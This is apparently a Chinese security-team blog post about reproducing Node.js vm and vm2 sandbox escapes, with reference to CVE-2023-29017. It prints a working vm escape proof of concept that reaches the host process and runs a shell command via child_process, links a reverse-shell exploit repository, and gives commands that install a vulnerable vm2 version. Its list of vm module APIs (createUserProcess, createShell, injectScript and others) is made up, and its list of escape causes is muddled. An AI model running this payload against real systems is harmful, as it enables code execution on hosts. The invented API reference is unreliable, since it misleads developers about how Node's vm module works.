“A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”
01
—
背景
最近看到VM2新出了个沙箱逃逸的漏洞,于是去复现了一下。但是复现全程用着现成的poc,对原理却是知之甚少,于是对VM沙箱逃逸学习了一波。不足之处,妄各位大佬指正!
02
—
简介
Node.js
Npm
简单来说, Node.js 就是运行在服务端的JavaScript,npm是随同Node.js一起安装的包管理工具,通过命令从npm服务器下载别人编写的第三方工具到本地使用。
VM
VM2
vm2基于vm,使用官方的vm库构建沙箱环境。然后使用JavaScript的Proxy技术来防止沙箱脚本逃逸。
作用域
// 定义一个函数,它的作用域是内部函数
function outerFunction() {
function innerFunction() {
console.log("inner function is called");
}
innerFunction();
console.log("outer function is called");
}
// 外部函数调用内部函数
outerFunction();
另外,在 Node.js 中,函数可以作为参数传递给其他函数,这也可以通过作用域来实现。例如:
function outerFunction(innerFunction) {
console.log("outer function is called");
innerFunction();
console.log("inner function is called");
}
// 定义一个函数
function innerFunction() {
console.log("inner function is called");
}
// 将 innerFunction 作为参数传递给 outerFunction
outerFunction(innerFunction);
全局对象
举个例子方便理解全局对象(global)
//1.js
var num = 10
exports.num = mun
//2.js
const n = require("./1")
console.log(n.num)
//1.js
global.num = 12
//2.js
const a = require("./1")
console.log(num)
VM沙箱逃逸
造成沙箱逃逸的原因:
1. 使用全局变量:如果脚本使用了全局变量,而不是沙箱中的变量,那么脚本可能会通过全局变量逃逸沙箱。
2. 使用不当的 API:使用不当的 API 也可能导致逃逸。例如,使用 process.exit() 或 require() 方法可能会使脚本脱离沙箱。
3. 漏洞:如果脚本存在漏洞,例如缓冲区溢出或 SQL 注入等,攻击者可以利用这些漏洞逃逸沙箱。
以下是一些常见的vm模块的API
1. vm.createUserProcess: 创建一个用户进程并返回一个 Process 对象。该函数接受两个参数:进程名称和进程密码。如果进程名称或密码无效,则该函数将抛出一个错误。
2. vm.runInNewContext: 将一个代码字符串运行在一个新的上下文中。该函数接受一个代码字符串和一个可选的环境变量列表。如果环境变量列表为空,则该函数将使用默认的环境变量。
3. vm.exportSymbol: 将一个 Symbol 对象导出到当前进程中。该函数接受一个 Symbol 对象。
4. vm.importSymbol: 将一个 Symbol 对象导入到当前进程中。该函数接受一个 Symbol 对象。
5. vm.createShell: 创建一个虚拟终端,允许用户在其中运行命令。该函数接受一个可选的环境变量列表和一个可选的命令字符串。如果环境变量列表为空,则该函数将使用默认的环境变量。
6. vm.runScript: 运行一个 JavaScript 字符串。该函数接受一个字符串和一个可选的环境变量列表。如果环境变量列表为空,则该函数将使用默认的环境变量。
7. vm.injectScript: 在指定的文件中注入一个 JavaScript 字符串。该函数接受一个文件路径和一个字符串。
例子
const vm = require('vm');
const script = `"world !"`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)
以下是沙箱逃逸的poc
const vm = require('vm');
const script =
`(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString() }
return a
})()`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)
03
CVE-2023-29017 POC 分析
不好意思哈,由于某些原因,poc 先码住QAQ ,大家可以看一下下面这个仓库的poc(跟我用的不一样)
https://github.com/Kaneki-hash/CVE-2023-29017-reverse-shell
大家也可以通过下面这位工程师的分析来推一下(狗头保命)。
ChatGPT工程师的分析:
—
sudo yum install epel-release
sudo yum install nodejs
npm install vm2@3.9.14
vim 1.js
node 1.js
05
—
https://xz.aliyun.com/t/11859
https://www.bleepingcomputer.com/news/security/exploit-available-for-critical-bug-in-vm2-javascript-sandbox-library/
https://blog.csdn.net/m0_62063669/article/details/125441529
https://nodejs.org/zh-cn/docs/guides/getting-started-guide
https://github.com/Kaneki-hash/CVE-2023-29017-reverse-shell
原文始发于微信公众号(A9 Team):【A9】最新沙箱逃逸漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论